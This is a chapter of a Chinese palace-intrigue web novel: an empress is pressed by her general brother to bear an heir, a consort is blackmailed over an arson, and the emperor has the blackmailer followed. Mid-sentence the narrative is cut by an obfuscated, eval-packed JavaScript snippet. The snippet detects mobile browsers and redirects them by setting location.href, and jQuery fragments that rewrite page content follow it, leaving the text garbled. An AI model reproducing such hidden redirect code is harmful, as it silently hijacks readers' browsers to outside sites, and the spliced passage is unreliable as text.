后妃入宫之后便要久居深宫,很少能与亲人见面,若能得君王的恩典,与亲人见上一面,该算是一件幸事。
但是对于崔皇后来说,并不是这样。
她和崔大将军的关系,一直都不怎么样。
他们兄妹之所以显得像是关系亲密,仅仅是因为人前会装而已。
但是,这些话不能在任何人面前讲,否则便会被人发现看似上下一心的崔氏一族,并不是铁板一块。
隔日,崔皇后着一身秋香色宫装带着贴身宫女,前往养心殿暖阁。
她来的时候便看到前朝那边有人来了,她想拿或许就是她的兄长,于是她便静心等着。
不过,因着今日难得起了个大早,而暖阁里又过于舒适,崔皇后单手支颐,不小心睡着了。
直至她被门开的声音唤醒,听到了沉重的脚步声,与随那声音而来的冷意。
“好久不见,妹妹。”
崔大将军深沉的声音响起,崔皇后瞬间睁开了眼睛,朝着他微微点头,道:“兄长。”
而后暖阁里便陷入了一种异常诡异的安静里,是个人都感觉到里面流淌的尴尬气息。
“这里没有暗处的人。”
良久之后,崔大将军先开口打破了这份安静。
崔皇后并不喜欢她的兄长,却也知道兄长在这种事情上的判断并不会出错。
她抬眸看着一身风霜的人,说道:“兄长要问什么?”
高大的男人面上似乎露出了点犹豫,好像不知道该如何开口。
崔皇后就静静地看着他,听着他问道:“最近过得可好?”
这听起来像是一句普通的寒暄,崔皇后心里想着,大抵是因为真实的意图无法直接说出口,于是便想找个切入点。
她微微颔首,说道:“尚可。”
毕竟,陛下下令让她与亲人见面是个恩典,她要是过得不好还见不到兄长。
崔大将军闻言点了点头,又扫视了一眼崔皇后的状态,迟疑了片刻,说道:“身子如何?”
几乎一瞬间,崔皇后就反应过来了他想问什么。
“一切正常。”她面无表情地说道。
只见崔大将军的眉头皱起,口中说道:“那你怎么还没有子嗣?”
“大概是缘分没到?”
“什么狗屁缘分?”崔大将军终于露了一点火爆脾气,“崔家在朝堂上下许多关键的位置都在被人替代,再看看纪家的下场,你还不知道着急吗?”
“大抵是因为陛下认为世家掣肘他的行动,所以才会动手。”崔皇后冷静地说着。
“这话倒是没错,”崔大将军怒极反笑,“但是妹妹,你别忘了,你就是世家的一员。”
“你所享受的荣华富贵,都来自于家族,”崔大将军冷声道,“而家族之所以供养你,也是因为你能为家族诞下一个有崔家血脉的皇子。”
“我知道。”崔皇后不紧不慢地看着他,神色淡然。
崔大将军看了她一眼,说道:“我没有在和你说笑。”
崔皇后抬眸看他,面无表情道:“我没笑。”
“那就尽快诞下一个皇子。”崔大将军神情中带上了一点急躁。
“那也不是我一个人的事。”崔皇后低声说着。
崔大将军深深地看了她一眼,说道:“但那是你的事。”
他的话音落下,便转身离开。
崔皇后面无表情地看着他,颇有几分不欢而散的意味。
她贴身的功宫女四下张望着,确定没有人注意到,才小声地对她说道:“娘娘,您若有个皇子,在宫中的地位也会稳固许多,大将军也是好意。”
崔皇后想,这就是她不喜欢兄长的原因。
她当然能够明白兄长话语中让她为自己早做打算的意思,更能够明白说来说去,兄长只是想要一个出自崔家的皇子。
而她自身似乎只是为了达成这个最终目的而被使用的工具,这个工具可以是她,也可以是任何一个崔家的女儿。
崔皇后看着崔大将军离开的方向想,明明兄长以前不是这样的。
另一头。
姜茵难得睡了个好觉。
穆与铮的后宫不像她的父皇那样,装着三千佳丽,纪贵妃被禁足了,崔皇后又不需要人去请安,所以就便宜了她,每日睡到日上三竿才肯起床。
又加之这几日天气转暖,姜茵的心情难得好上了许多。
直到,她的床头又出现了一张字条。
那字条的字迹依旧歪歪扭扭,上面写到:一百两黄金准备好了吗?明日子时,皇宫西南角的枯树下,我会来取。
姜茵的心再度紧绷了起来。
诚然,她的确为冯总管可能带来的麻烦做了些准备,但是在她的设想中,冯总管能够直接入宫这种可能性,只占万分之一。
毕竟,冯总管看起来像是常驻郊外猎场,与穆与铮并没有什么亲近的关系,他要如何入得了戒备森严的皇宫?
但现在看来,她还得另作打算。
兰溪也看到了那张字条,皱着眉,说道:“殿下,您不能轻易把钱给他,像这样的人,一旦意识到从您这里弄来钱容易,是会一直缠着您的。”
姜茵知道兰溪说的没错,所以她得想个一劳永逸的办法。
养心殿里。
穆与铮垂眸看着跪在他面前的冯总管,说道:“再重复一遍那天发生的事情。”
冯总管心里想这到底是什么神经病,他都把一件事翻来覆去说八百回了,但面上仍是堆满笑意说道:“奴才本来在猎场外围巡视,便瞧见有个侍女来向奴才买鸽子。”
“那侍女的主子是谁?”
冯总管在心里暗骂了一句,说道:“她说是姜美人。”
“着火的那一天,你在做什么?”
冯总管在心里直呵呵,但是他依然只能老实答道:“奴才在做例行的事务,并未瞧见可疑之人。”
如此又来回拉扯了几通,穆与铮才终于放过了冯总管,让他离开了。
“陛下,”李公公向穆与铮奉上一盏茶,问道:“此人的话可信吗?”
“朕来回询问数次,他的回答大体上相差无几,想来应该是没有说谎。”穆与铮说着,饮下了一口清茶。
李公公的眉头拧成一团,说道:“那这可难办了,卫国公抵死不认火是他放的,猎场中又无人发现可疑的身影,难不成这火是凭空烧起来的?”
“绝不可能,”穆与铮斩钉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265467|198100||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
截铁地说道,“那些人大抵都说了实话,只是有时候实话也是会骗人的。”
穆与铮细细回想着冯总管方才回答问题时的语句与神情,复而便对李公公说道:“找个身手好的,跟着方才那个人。”
离开养心殿的时候,冯总管内心还满是脏话。
他心说要不是冲着能敲一百两黄金,他早就想办法金蝉脱壳了。
像他这样的小角色,掉进人海里即使是君王也没有办法找到他。
冯总管在心里骂骂咧咧走到了皇宫的西南角,那棵枯死的树下。
姜茵装扮成了兰溪的模样,早在那里等着他。
“宫中怎么会有一棵枯死的树?”姜茵垂眸发问道。
冯总管在心里啧了一声,心想他本来想先声夺人,拿了钱就走的。
但是,这宫女如此顾左右而言他,难不成是想赖账?
冯总管心下多了几分算计,不过却回答道:“有位游方的道士曾经说过,此树所在位置,是宫中风水之眼,
下了圣旨,任何人都不可以妄动。”
姜茵露出了点困惑的神色,继续问道:“陛下还信风水一说?”
“是先帝,”冯总管白了她一眼,又道:“少说废话,我的黄金拿来了没有?”
姜茵从袖口中取出了一条小黄鱼。
冯总管的动作快得像是一阵风,几乎是直接抢了过来,掂了掂小黄鱼的重量,又咬了一口,而后神色不善地说道:“你打发要饭的呢?”
“这才过去几天?这已经是我攒下的全部家当了。”姜茵面露难色地说道。
“我不管,”冯总管莫名有些焦躁,他将这种心绪归结于日后入宫讨钱不太方便,而后威胁道:“实话告诉你,我刚刚才面见过圣上。”
姜茵的神色中流露出几分思索。
她想,冯总管既然能在这个时候说这件事,那就说明,他还是在穆与铮那里遮掩过去了看见她放火的事。
她若是心狠手辣一些,让冯总管永远闭嘴,那么穆与铮是不是就无法得知那夜到底是谁在纵火?
“你在想什么!”冯总管本能地察觉到了危险。
“自然是在想怎样搞到钱财,难不成你要因此而将纵火之事向陛下讲明?”姜茵做出破罐子破摔的架势,抬步要走,倒让冯总管少了几分咄咄逼人的意味。
冯总管琢磨着之前听闻的消息,过段时间,会有离国前来送岁贡的使团,到时候招待使团大概率还需要他入宫。
于是他退让了一步,盘算了一会儿说道:“好吧,我再给你一些时间。”
姜茵有些惊讶冯总管这样轻易地松口了,单至少到目前为止,于她来说算是好事。
两人别过,藏在暗处跟踪他们的人彼此对视了一眼,一个跟上了冯总管,一个则回去回禀穆与铮。
养心殿。
穆与铮冷眼看着回禀的人,低声问道:“可看清楚了?”
“看清楚了,应当是姜美人身边的宫女,兰溪。”
“姜美人?”
穆与铮低声说着,那声音像是在咀嚼着这个名字,他的心里隐隐生出了被欺瞒的怒意。
倏尔,他的面上露出了一丝冷意,抬步向姜茵所在的宫殿走去。